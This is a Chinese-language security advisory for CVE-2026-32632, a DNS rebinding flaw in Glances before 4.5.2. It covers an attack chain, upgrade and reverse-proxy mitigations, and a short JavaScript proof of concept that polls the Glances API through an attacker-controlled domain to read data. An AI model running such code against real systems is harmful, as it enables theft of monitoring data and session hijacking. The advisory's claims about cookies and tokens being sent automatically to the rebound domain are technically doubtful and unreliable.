CVE-2026-32632 Glances DNS Rebinding保护绕过漏洞

漏洞信息

漏洞编号

CVE-2026-32632

漏洞类型

DNS重绑定攻击

CVSS评分

5.9 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Glances

漏洞概述

Glances是一款开源跨平台系统监控工具。在4.5.2版本之前，主REST/WebUI FastAPI应用程序接受任意的Host头请求，未应用TrustedHostMiddleware或等效的主机白名单机制。这导致REST API、WebUI和令牌端点在经典的DNS重绑定攻击场景中可被攻击者控制的域名访问。当受害者的浏览器将攻击者域名重绑定到Glances服务后，同源策略不再保护API，因为浏览器将重绑定域名视为合法来源。这与之前报告的默认CORS弱化问题不同，CORS在此漏洞利用中不是必需的，因为DNS重绑定导致受害浏览器将恶意域名视为与重绑定目标同源。版本4.5.2包含此问题的修复补丁。

技术细节

漏洞根源在于Glances的FastAPI应用未对Host请求头进行验证，缺少TrustedHostMiddleware中间件的保护。攻击者利用DNS重绑定技术：首先注册一个攻击者控制的域名，初始解析指向攻击者服务器（IP地址A），然后快速切换DNS记录指向目标Glances服务的内网IP（IP地址B）。当受害者访问该恶意域名时，浏览器首先访问攻击者服务器获取初始响应（此时同源策略允许），随后DNS记录变更，浏览器认为该域名已绑定到Glances服务（此时该域名的所有请求都发送到Glances服务）。由于浏览器认为重绑定后的域名与Glances服务同源，Cookie、Token等认证凭证会被自动发送，攻击者可通过JavaScript读取这些敏感信息，进而操作用户的API会话、窃取监控数据或获取令牌。

攻击链分析

STEP 1

步骤1

攻击者注册并控制一个恶意域名（如evil.com），配置极短的DNS TTL值

STEP 2

步骤2

初始状态下，恶意域名解析到攻击者控制的服务器（IP地址A），诱骗受害者访问嵌入恶意JavaScript的网页

STEP 3

步骤3

恶意JavaScript执行后，攻击者迅速将DNS记录切换，指向目标Glances服务的内网IP（IP地址B）

STEP 4

步骤4

浏览器DNS缓存过期后重新解析域名，发现该域名现在指向Glances服务，根据同源策略将其视为合法同源

STEP 5

步骤5

浏览器的同源策略认为重绑定域名与Glances服务同源，自动发送Cookie、Token等认证凭证到Glances API

STEP 6

步骤6

攻击者通过JavaScript读取API响应，窃取敏感监控数据或劫持用户会话

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2026-32632 DNS Rebinding PoC (Conceptual)
// This PoC demonstrates the DNS rebinding attack concept

// Step 1: Attacker sets up DNS that first resolves to attacker server, then to target
// Domain: attacker-controlled-domain.com
// Initial TTL: Very short (e.g., 1 second)
// DNS A record: Points to attacker server first, then target IP

// Step 2: Victim visits attacker's page with this JavaScript
const targetUrl = 'http://attacker-controlled-domain.com:61208/api/3/cpu';

async function exploit() {
    try {
        // First request - will hit attacker server (bypasses CORS if needed)
        const response = await fetch(targetUrl, {
            credentials: 'include'  // Include cookies/tokens
        });
        const data = await response.json();
        console.log('Glances API Response:', data);
        
        // Extract sensitive data or perform actions
        document.getElementById('result').innerHTML = JSON.stringify(data);
    } catch (error) {
        console.error('Attack failed:', error);
    }
}

// Poll for data after DNS rebinding occurs
setInterval(exploit, 1000);

// Step 3: After DNS TTL expires, the domain now resolves to target Glances server
// Browser considers it same-origin, sends auth cookies/tokens
// Attacker can now access Glances API with victim's credentials

影响范围

Glances < 4.5.2

防御指南

临时缓解措施

立即升级Glances至4.5.2版本，该版本已修复DNS重绑定保护问题。对于无法立即升级的场景，可通过配置反向代理（如Nginx）添加Host头验证，或在FastAPI应用前部署WAF进行防护，同时监控异常的DNS解析行为。